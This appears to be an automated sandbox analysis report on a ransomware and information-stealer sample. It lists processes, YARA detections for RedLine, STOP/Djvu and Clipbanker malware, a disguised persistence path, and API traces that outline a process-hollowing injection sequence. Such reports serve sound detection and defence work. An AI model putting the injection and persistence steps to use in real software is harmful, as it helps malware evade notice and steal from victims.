Commandline:	"C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.2073412438.00000000041E0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:52:32
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:53:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.2401128925.0000000000960000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	18:53:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:54:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001C.00000002.3045395033.0000000000AA0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:54:10
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	18:55:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.3650596278.0000000000920000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	18:55:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05E20110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E20156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E2016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E20255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E20270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E20283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E2029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E202C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E202E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E20304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E2032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E20399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E203BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E203E1
ResumeThread.KERNELBASE(00000000), ref: 05E203ED
ExitProcess.KERNEL32(00000000), ref: 05E20412

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 782cea85eb1c9749d6a0571aab0b746e9c814a5c2f08d68028def788e8b28541
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 7DB1C774A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 044E07C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044E07EE
Module32First.KERNEL32(00000000,00000224), ref: 044E080E

Memory Dump Source

Source File: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44e0000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: bd086ae0e661c43ecea726584d1073586df83ddd0196cf815b258d3829d03eae
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F6F068311007256BEB203BB6988DA7F76E8BF45726F100529E552911C0D6B0F8464A61

Uniqueness

Uniqueness Score: -1.00%

Function 05E20420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E20533

Strings

saodkfnosa9uin, xrefs: 05E204DA
d, xrefs: 05E20584
0, xrefs: 05E20492
mfoaskdfnoa, xrefs: 05E20520, 05E20523

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 792306502af9fa95223b945226a04698a867220a69006b2067cd45e7e092a4f7
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 03510A70D48388DAEB11CB98C849BEDBFB26F11708F144058D5847F2CAC7BA5558CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05E205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E205EC

Strings

apfHQ, xrefs: 05E205E2, 05E205E5
o, xrefs: 05E20600

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: d36ed7cd70911b439cbf055fe0822810066bf21070a2fa9b38661547b248cf12
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: CB011E70C0425CEEDF10DB98C5583AEBFB5AF41308F188099C4492B385D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 044E0485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044E04D6

Memory Dump Source

Source File: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44e0000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 4af18a65bff91710a004147e3b58fc71b3877400017117667ef23c5b61839759
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: B2113C79A00208EFDB01DF99C985E99BBF5AF08351F058095F9589B362D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E3F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E3F0A7
_wcsstr.LIBCMT ref: 05E3F14E
_strstr.LIBCMT ref: 05E3F3D6
_malloc.LIBCMT ref: 05E3F526
_memset.LIBCMT ref: 05E3F534
_strstr.LIBCMT ref: 05E3F57A
_malloc.LIBCMT ref: 05E3F6F5
_memset.LIBCMT ref: 05E3F703
_free.LIBCMT ref: 05E3F7B5
_free.LIBCMT ref: 05E3F7C2

Strings

", xrefs: 05E3F640

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 5c558280f5c4bd3094a2e6481932325782d31acb4d1edb59479df7abce214e86
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: B442D071908340ABEB20DF24DC4DBAB7BE8BF85304F04192DF5D997191EB799509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05E300D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: abaec2d26018170fa24e94e4d6c8a8a488624e9f48d5029b22df812d43985aea
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 52527071D00218DBDF14DFA8D88EBEEBBB5BF04308F105169D499A7250E735AA49CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E2E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05E2E72D
_wcsstr.LIBCMT ref: 05E2E756
_memset.LIBCMT ref: 05E2E784

Part of subcall function 05E6FC0C: std::exception::exception.LIBCMT ref: 05E6FC1F
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FC34
Part of subcall function 05E6FC0C: std::exception::exception.LIBCMT ref: 05E6FC4D
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FC62
Part of subcall function 05E6FC0C: std::regex_error::regex_error.LIBCPMT ref: 05E6FC74
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FC82
Part of subcall function 05E6FC0C: std::exception::exception.LIBCMT ref: 05E6FC9B
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FCB0

_wcsstr.LIBCMT ref: 05E2EA0C
_memset.LIBCMT ref: 05E2EE5C

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: d63556e8e7ec00ae6e2c9e04fc6a680c9233549f714b2dfe4795b30d3f038908
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 3D52C071A002299FDF24CF68C894BBEBBFABF04304F145569E886AB385D7319945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05E30B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: ee8597b1f4630ea084ffaad00b0de32d83a05f199a0671557717c453c7e5384c
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: ED427B70E00218DBDF14DFA4D84EBEEB7F5BF04308F605169D495A7290E732AA49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E2DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: e7460c86e775fb0ae530518c29fcdb0fcd27d86e5c6bd180fd04ec29878066a6
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: E9528471E00229DFDB14DFA4C849FEEBBB9BF49304F149198E545AB254DB30AD46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2BF Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0040A351,004142FC,00000001,?,0040A468,004142FC,00000017), ref: 0040A2C4
UnhandledExceptionFilter.KERNEL32(004142FC,?,0040A351,004142FC,00000001,?,0040A468,004142FC,00000017), ref: 0040A2CD

Memory Dump Source

Source File: 00000000.00000002.1640244180.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1640203320.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640269970.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640297049.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640681635.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640681635.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641578038.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641578038.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1643460220.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_lzShU2RYJa.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f051e6612ab1e2970542baf73d236a84d43581588ecf47e2ad03c1c4fdacf624
Instruction ID: ffb851713e054ed3acc51ab0128ad16671472168526bd190bf15d3c9225e88e8
Opcode Fuzzy Hash: f051e6612ab1e2970542baf73d236a84d43581588ecf47e2ad03c1c4fdacf624
Instruction Fuzzy Hash: 98B09231044208BBCB016BE1EE09B997F69EB09662F008020F74D84061CBB294208B99

Uniqueness

Uniqueness Score: -1.00%

Function 05EA22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05EA291E

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1eba52808fdaac2a6e28347d038aecd71c23894f5ca11dedacbd3fd991aed6a1
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: B9327FB5E002299BEB619F74CC44BAEB779FF44704F0041EAE68DB6191DB709A808F59

Uniqueness

Uniqueness Score: -1.00%

Function 004059E2 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00404342,00419A08,00000014), ref: 004059E2

Memory Dump Source

Source File: 00000000.00000002.1640244180.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1640203320.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640269970.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640297049.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640681635.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640681635.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641578038.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641578038.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1643460220.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_lzShU2RYJa.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b3f40d77175f388886040bc5bf833cbfe4c90884426bd0cf13cd4ce05581894f
Instruction ID: 1bc0b82c9ca7b71f9b01f10c632f2bf7cbb4433bfb76c42bc07a1b8347efc7b4
Opcode Fuzzy Hash: b3f40d77175f388886040bc5bf833cbfe4c90884426bd0cf13cd4ce05581894f
Instruction Fuzzy Hash: 24B012F030310287470C0F397E1419939D4974C202301823E7103C11A0DF60C460DA08

Uniqueness

Uniqueness Score: -1.00%

Function 05E25DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 2ea95bf3fedfc6d517db21c9bd43c0962f973dd64ed34bff10f28cd6be8b7c8a
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: D842BF71629F119BC3DADF24C88055BF3E1FFC8218F048A1DD99997A94DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: b0c2707721a603b43b7bbcc5a5a1606bea90a4e1046c4c9f533af88d85d1cbf9
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 1122EFB6908B128FC714CF19D08055AF7E1FF88324F558A6EE8A9A7B14D730FA55CB81

Uniqueness

Uniqueness Score: -1.00%

Function 05E22B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05E23520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 4a66f563c1b26454bba47df6b321618278347dac9e436e1e658e4a44302eb4db
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 8A026D715187058FC756EE0CD49035AF3E2FFC8309F198A2DD68987B64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05E289D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

